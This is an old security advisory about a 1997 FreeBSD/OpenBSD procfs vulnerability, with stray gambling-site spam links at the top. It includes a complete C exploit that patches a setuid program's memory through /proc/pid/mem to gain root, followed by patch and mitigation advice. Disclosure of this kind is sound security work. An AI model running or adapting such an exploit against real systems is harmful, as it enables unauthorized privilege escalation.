Casinos Not On GamstopNon Gamstop CasinosCasinos Not On GamstopOnline Casinos UKNon Gamstop Casino
28th Aug 1997 [SBWID-185]
COMMAND
	    procfs
SYSTEMS AFFECTED
	    FreeBSD 2.1.*, FreeBSD  2.2.*, FreeBSD-stable and  FreeBSD-current
	    before 1997/08/12
PROBLEM
	    Brian Mitchell  posted about  major hole  in procfs  under FreeBSD
	    2.2.1  (2.1  is  not  affected,  3.x  is  not  tested  but  may be
	    vulnerable as well) along with OpenBSD (2.1-RELEASE although  obsd
	    doesnt mount procfs by default like freebsd does).
	    The  problem  is  all  proc/#/mem  access  is  controlled  by  the
	    permissions on the file. This means you can fork() open the childs
	    mem device and  then have the  child execute a  setuid executable.
	    Once this is done, you can modify the setuid executables memory  -
	    even  segments  that  are  supposed  to  be  nonwritable  can   be
	    modified.   Enclosed  is  a  simple  exploit  tested under FreeBSD
	    2.2.1 - beware,  this exploit is  slow because it  searches memory
	    for  a  specific  signature.  You  need  to change your shell to a
	    borneish shell too, since csh/tcsh will not work when euid != ruid
	    (unless passed a -b script argument).
	    BSDI is also  believed to be  vulnerable. Unfortunately, not  only
	    is  procfs  not  mounted,  it  is  not even in the GENERIC kernel.
	    Exploit follows.
	
	    #include <stdio.h>
	    #include <stdlib.h>
	    #include <unistd.h>
	    #include <fcntl.h>
	    #include <string.h>
	    u_char search_code[13] = {
	    0x8d, 0x05, 0x17, 0x00, 0x00, 0x00,           /* leal 0x17, %eax */
	    0x9a, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00};    /* lcall 7,0 */
	    /* just do a xor %eax, %eax and then a ret */
	    u_char new_code[] = {
	    0x31, 0xc0, 0xc3};
	    main(int argc, char **argv)
	    {
	            int pid;
	            int fd;
	            char buff[40];
	            char *user;
	            /* might need to tweak these */
	            u_int offset=0x8003000;
	            u_int offset_end = 0x8099000;
	            if(argc < 2)
	            {
	                    fprintf(stderr, "%s user\n", argv[0]);
	                    exit(1);
	            }
	            printf("Demonstration of 4.4BSD procfs hole\n");
	            printf("Brian Mitchell <[email protected]>\n\n");
	            printf("after you see \"setuid changed\", enter the pw for the user\n");
	            printf("\aBe warned, searching for the setuid() function takes a long time!\n");
	            user=argv[1];
	            pid = fork();
	            switch(pid)
	            {
	                    case -1:
	                            perror("fork");
	                            exit(1);
	                    case 0:
	                            /* give parent time to open /proc/pid/mem */
	                            sleep(3);
	                            execl("/usr/bin/su", "su", user, NULL);
	                            exit(0);
	                    default:
	                            sprintf(buff, "/proc/%d/mem", pid);
	                            fd = open(buff, O_RDWR);
	                            if(fd < 0)
	                            {
	                                    perror("open procmem");
	                                    wait(NULL);
	                                    exit(1);
	                            }
	                            /* wait for child to execute suid program */
	                            sleep(6);
	                            /* stop the child */
	                            kill(pid, 17);
	                            printf("searching - please be patient...\n");
	                            /* search for the setuid code */
	                            while(offset != offset_end)
	                            {
	                                    lseek(fd, offset, SEEK_SET);
	                                    read(fd, buff, 13);
	                                    if(!bcmp(buff, search_code, 13))
	                                    {
	                                            lseek(fd, offset, SEEK_SET);
	                                            write(fd, new_code, 3);
	                                            printf("setuid changed (0x%x)\n", offset);
	                                            /* sigcont child */
	                                            kill(pid, 19);
	                                            wait(NULL);
	                                            exit(0);
	                                    }
	                                    offset++;
	                            }
	                            printf("setuid not found!!\n");
	                            kill(pid, 9);
	                            wait(NULL);
	                            exit(1);
	            }
	    }
	
SOLUTION
	    Temporary fix: Disable the  /proc filesystem.  Setting  ro instead
	    of rw in /etc/fstab or chmod'ing on the mountpoint do _not_  work.
	    Best  solution  is  to  apply  one  of  the  following  patches in
	    /usr/src/sys/miscfs/procfs, rebuild  your kernel,  install it  and
	    reboot your system.  Those patches can be found on:
	
	        ftp://freebsd.org/pub/CERT/patches/SA-97:04/
	
	

Internet highlights